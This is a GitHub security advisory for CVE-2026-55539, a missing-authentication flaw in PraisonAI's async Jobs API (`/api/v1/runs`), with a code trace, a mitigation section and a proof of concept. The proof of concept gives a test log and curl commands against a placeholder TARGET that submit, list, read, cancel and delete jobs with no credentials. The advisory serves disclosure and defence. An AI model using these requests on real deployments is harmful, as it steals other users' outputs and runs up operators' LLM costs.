GitHub Advisoryadvisory · PyPI

GHSA-2jgc-f764-c5r2 PraisonAI: [Auth Bypass] PraisonAI async Jobs API (`/api/v1/runs`) has no authentication — unauthenticated job execution, result theft, cancel and delete

HIGH Published 2026-08-25 Modified 2026-08-25 Official page ↗
Aliases
CVE-2026-55539
Ecosystem
PyPI
Packages
PraisonAI
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H
Weaknesses
CWE-306
Reviewed
2026-08-25

Affected packages

• PyPI PraisonAI: < 4.6.58 → fixed in 4.6.58

Description

Summary PraisonAI's async Jobs API (the FastAPI service in `praisonai/jobs/`) installs its router with no authentication middleware, no router-level dependency, and no per-route auth check. Any caller who can reach the jobs server can submit agent jobs (executed against the operator's configured LLM credentials), list every job in the shared store, read other jobs' results, cancel running jobs, and delete terminal jobs — with no token, cookie, session, or per-job ownership value. The server's default bind is `127.0.0.1`, so remote reach requires an operator to bind a public interface, container-publish, reverse-proxy, or tunnel the service. Once reachable, the primitive is fully pre-authenticated. This is a distinct, still-unpatched sibling of CVE-2026-44338. That CVE (GHSA-6rmh-7xcm-cpxj, fixed in 4.6.34) covered only the *legacy Flask* server `src/praisonai/api_server.py`. The fix added `AUTH_ENABLED`/`AUTH_TOKEN`/`check_auth()` to that file and did not touch the FastAPI jobs module. At the latest commit (`9fcac3a`, version 4.6.51) the legacy Flask server is patched but the jobs API remains completely unauthenticated. Technical Detail Source-to-sink trace The FastAPI app includes the jobs router with only CORS middleware — no auth (`server.py`, `create_app`): ```python src/praisonai/praisonai/jobs/server.py def create_app(store=None, executor=None, cors_origins=None) -> FastAPI: app = FastAPI(title="PraisonAI Jobs API", ...) # ... CORS middleware only (allow_headers includes "Authorization", # but CORS is not authentication) ... jobs_router = create_router(get_store(), get_executor()) app.include_router(jobs_router) # no dependencies=[Depends(...)] ``` The router (built inside `create_router()`) registers every job operation with no auth dependency. The only `Header(...)` parameter anywhere is the `Idempotency-Key`, which is deduplication, not authorization: ```python src/praisonai/praisonai/jobs/router.py router = APIRouter(prefix="/api/v1/runs", tags=["jobs"]) @router.post("", status_code=202) async def submit_job(request, response, body, idempotency_key=Header(None, alias="Idempotency-Key")): ... @router.get("") async def list_jobs(status=None, session_id=None, page=1, page_size=20): ... @router.get("/{job_id}") async def get_job_status(job_id): ... @router.get("/{job_id}/result") async def get_job_result(job_id): ... @router.post("/{job_id}/cancel") async def cancel_job(job_id): ... @router.delete("/{job_id}", status_code=204) async def delete_job(job_id): ... @router.get("/{job_id}/stream") async def stream_job(job_id): ... ``` `submit_job()` builds a `Job` from attacker-controlled JSON and submits it. The executor saves and schedules it, and for the default `praisonai` framework runs the attacker prompt against a real agent: ```python executor.py — submit() -> _execute_job() -> _run_agent() -> _run_praisonai_agents() agent = Agent(instructions="You are a helpful AI assistant.", output="minimal") result = await asyncio.to_thread(agent.start, job.prompt) # attacker-controlled prompt ``` The in-memory store has no owner / principal / user concept. `list_jobs()` returns the whole store filtered only by caller-supplied `status`/`session_id`: ```python store.py async def list_jobs(self, status=None, session_id=None, limit=20, offset=0): jobs = list(self._jobs.values()) # global; no owner binding if session_id: jobs = [j for j in jobs if j.session_id == session_id] ... ``` A repository-wide grep of `jobs/` for `Depends|verify|token|authorization|bearer|x-api-key|HTTPBearer|AUTH_ENABLED|check_auth` returns only the string `"Authorization"` inside the CORS `allow_headers` list. There is no authentication primitive in the module. Distinction from CVE-2026-44338 (critical for triage) | | CVE-2026-44338 (already fixed) | This finding | |---|---|---| | Component | Legacy Flask `src/praisonai/api_server.py` | FastAPI `praisonai/jobs/` | | Endpoints | `GET /agents`, `POST /chat` | `/api/v1/runs` (submit/list/get/result/cancel/delete/stream) | | Root cause | `AUTH_ENABLED=False`, `AUTH_TOKEN=None`, no-op `check_auth()` | No auth dependency, middleware, or token exists at all | | Status at 4.6.51 | Patched (auth enabled by default, token auto-generated, `secrets.compare_digest`) | Unpatched | The 4.6.34 remediation hardened only the Flask file. The jobs module is a separate code path that the fix did not reach. Trigger conditions 1. Start the server, e.g. `python -m uvicorn praisonai.jobs.server:create_app --port 8005 --factory`. 2. Make it reachable (`--host 0.0.0.0`, container publish, reverse proxy, tunnel). 3. Send unauthenticated requests to `POST/GET /api/v1/runs`, `GET /api/v1/runs/{id}`, `GET /api/v1/runs/{id}/result`, `POST /api/v1/runs/{id}/cancel`, `DELETE /api/v1/runs/{id}`. Proof of Concept Verified dynamically by running the real `praisonai.jobs` router, executor, and store over HTTP via FastAPI `TestClient`. The only stub is `praisonaiagents.Agent` (its `.start()` returns canned text), so no real LLM call and no API credentials were used. Every request below was sent with no `Authorization` header, cookie, or token (the runner asserts `Authorization sent: None` on each). ``` Unauth POST /api/v1/runs (submit job) POST /api/v1/runs -> HTTP 202 Authorization sent: None body: {"job_id":"run_de282b4c3f1c","status":"queued", ...} Unauth GET /api/v1/runs (list every job in shared store) GET /api/v1/runs -> HTTP 200 Authorization sent: None body: {"jobs":[{"job_id":"run_de282b4c3f1c","status":"succeeded", ...}], "total":1, ...} Unauth GET /api/v1/runs/{id}/result (read tenant output) GET /api/v1/runs/.../result -> HTTP 200 Authorization sent: None body: {"result":"TENANT-PRIVATE-OUTPUT for prompt='attacker-controlled job'", ...} Unauth POST /api/v1/runs/{id}/cancel (cancel a RUNNING job) t=0.0s status=running ... t=2.0s status=running POST /api/v1/runs/.../cancel -> HTTP 200 Authorization sent: None after cancel status=cancelled Unauth DELETE /api/v1/runs/{id} (delete terminal job) DELETE /api/v1/runs/... -> HTTP 204 Authorization sent: None ``` Each privileged operation succeeded with zero credentials. (The result endpoint returns a different job's stored output — the cross-job confidentiality primitive.) Equivalent trigger in a fully installed, network-exposed deployment ```bash python -m uvicorn praisonai.jobs.server:create_app --host 0.0.0.0 --port 8005 --factory curl -sS -X POST http://TARGET:8005/api/v1/runs \ -H 'Content-Type: application/json' \ --data-binary '{"prompt":"attacker controlled job","timeout":3600}' curl -sS http://TARGET:8005/api/v1/runs curl -sS http://TARGET:8005/api/v1/runs//result curl -sS -X POST http://TARGET:8005/api/v1/runs//cancel curl -sS -X DELETE http://TARGET:8005/api/v1/runs/ ``` Impact • Execution / cost: unauthenticated callers run arbitrary prompts against the operator's configured LLM credentials, and can queue long-running jobs (up to `timeout`, default 3600s) consuming CPU, memory, queue slots, and provider billing. • Confidentiality: callers list all jobs (`GET /api/v1/runs`) and read completed results from the shared store — other callers' agent outputs. • Integrity / control: callers cancel running jobs and delete terminal jobs. The realistic worst case is a reachable jobs endpoint used to run unauthorized prompts on the operator's LLM account, then enumerate and exfiltrate other jobs' outputs. Suggested Mitigation Mirror the fix already applied to the legacy Flask server (CVE-2026-44338), but for the jobs router: • Add a jobs-server auth token (e.g. `PRAISONAI_JOBS_API_TOKEN`) and require it on every `/api/v1/runs` route via a **router-level…

Related

Alias · CVE (1)

  • CVE-2026-55539 PraisonAI is a multi-agent teams system. vulnerability

Weakness · CWE (1)

  • CWE-306 Missing Authentication for Critical Functionality weakness

References